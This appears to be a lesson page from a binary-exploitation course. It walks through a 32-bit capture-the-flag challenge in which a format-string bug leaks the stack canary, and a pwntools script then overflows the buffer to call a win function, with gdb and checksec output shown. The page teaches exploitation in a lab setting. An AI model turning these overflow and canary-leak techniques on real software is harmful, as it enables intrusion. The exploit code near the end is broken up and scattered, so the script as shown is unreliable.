Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. canary-practice-02
6 min read

Practice 2

Try your hand at a 32-bit canary challenge. The process will be the same; however, getting the parameter offset for the canary will be more challenging.

If you're stuck, you might want to go into GDB, set a breakpoint before the vulnerable printf, and count the number of blocks before the canary.

The Solution

This problem is the first instance where the stack protector, called the canary, is enabled. We must figure out how to beat that canary to perform a buffer overflow.

When we run checksec on the binary, we notice that the canary is enabled.

$ checksec chall[*] './chall'    Arch:       i386-32-little    RELRO:      Partial RELRO    Stack:      Canary found    NX:         NX enabled    PIE:        No PIE (0x8048000)    Stripped:   No

PIE is still disabled, meaning we can still use the same techniques we used in the previous binary. However, we can't just overflow the stack. Let's see what happens when we try.

$ python3 -c "print('A'*1000)" | ./challHello, what is your name?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHow can I help you today?*** stack smashing detected ***: terminated

A stack smashing detected message in the output indicates that we overwrote the canary. We need to determine how to beat the canary, and then we will proceed as usual.

Static Analysis

Our primary functions are main, run, and win.

  • win only prints the contents of the flag.
  • main immediately calls run, then has a puts statement that reads "You lose!".

run does a list of things. Disassembling it, the important part is the canary machinery: a value from gs:0x14 is stored at [ebp-0xc] on entry, and checked against gs:0x14 again before the function returns:

gdb
gef➤ disas run   0x080491b8 <+18>:    mov    eax,gs:0x14   0x080491be <+24>:    mov    DWORD PTR [ebp-0xc],eax   0x08049243 <+157>:   mov    eax,DWORD PTR [ebp-0xc]   0x08049246 <+160>:   sub    eax,DWORD PTR gs:0x14   0x0804924d <+167>:   je     0x8049254 <run+174>   0x0804924f <+169>:   call   0x80492d0 <__stack_chk_fail_local>

Scrolling through the rest of run, we find it:

  • puts("Hello, what is your name?")
  • read(0, ebp-0x4c, 64) — reads our name into a buffer at [ebp-0x4c].
  • printf(ebp-0x4c) — prints that buffer directly as the format string.
  • puts("How can I help you today?")
  • read(0, ebp-0x4c, 0x64) — reads into the same buffer again, this time up to 0x64 (100) bytes.

From this, we gather a few things:

  • We write to the same buffer both times.
  • The printf on the first read is a format string vulnerability, which means we can leak the canary.
  • The second read lets us pass in a second payload that keeps the canary intact, then overflows past it.
  • The canary is stored at ebp-0xc.

Payload Part 1: Leaking the Canary

We know the canary is stored on the stack at ebp-0xc. We will use a format string to leak the canary to standard output, then feed that value into the second payload.

gef's canary command confirms where it lives:

gdb
gef➤ b *(run+69)Breakpoint 1 at 0x80491ebgef➤ runBreakpoint 1, 0x080491eb in run ()gef➤ canary[+] The canary of process 29339 is at 0xffffd89b, value is 0xb2d38800

Counting DWORD frames from the format string's argument list to the canary puts it at offset 23. We can verify that with the format string directly — the canary ends in a 00 byte, which is the giveaway:

$ ./challHello, what is your name?%23$x7b32d000

This works! Let's turn it into a pwntools snippet:

python
1p.recvline()
2p.sendline(b"%23$x")
3canary = int(p.recvline().strip(

Payload Part 2: Overflowing the Buffer

Now that we have the canary, we can overflow the buffer in two steps:

  1. Write data until we reach the canary, then write the canary back (so it doesn't get modified).
  2. Write data from the canary to the return pointer, then overwrite the return pointer with the address of win().

The canary is at ebp-0xc, and the buffer starts at ebp-0x4c. So we write 0x4c - 0xc = 0x40 (64) bytes before reaching the canary:

python
1payload = b"A" * 0x40
2payload += p32(canary)

Then we write from the canary to the return pointer. The canary sits at ebp-0xc, and the return pointer always sits at ebp+0x4 (the saved base pointer is at ebp+0x0). The canary takes four bytes, so we start writing at ebp-0x8 and need 0xc (12) bytes to reach the return pointer:

python
1payload += b"B" * 0xc
2payload += p32(win)
Why did I use "B" this time?
I can use any value to fill the empty space. I use a different value for debugging: if my payload is off, it's easier to tell whether I overfilled or underfilled by seeing which letter lands on the return pointer.

From here, we put it all together and send it off:

exploit.py
1from pwn import *
2
3p = process("./chall")
4
5# leak the canary

Running this gets us our flag:

exploit.py
$ python3 exploit.py[+] Starting local process './chall': pid 29319[*] Switching to interactive modeHow can I help you today?IFC{PL4C3H0LD3R_FL4G_H3R3!}[*] Process './chall' stopped with exit code 0[*] Got EOF while reading in interactive

We have our flag!

)
,
16
)
6
p
.
recvline
(
)
7p.sendline(b"%23$x")
8canary = int(p.recvline().strip(), 16)
9
10# standard canary payload
11payload = b"A" * 64
12payload += p32(canary)
13payload += b"B" * 12
14payload += p32(0x08049299)
15
16p.sendline(payload)
17p.interactive()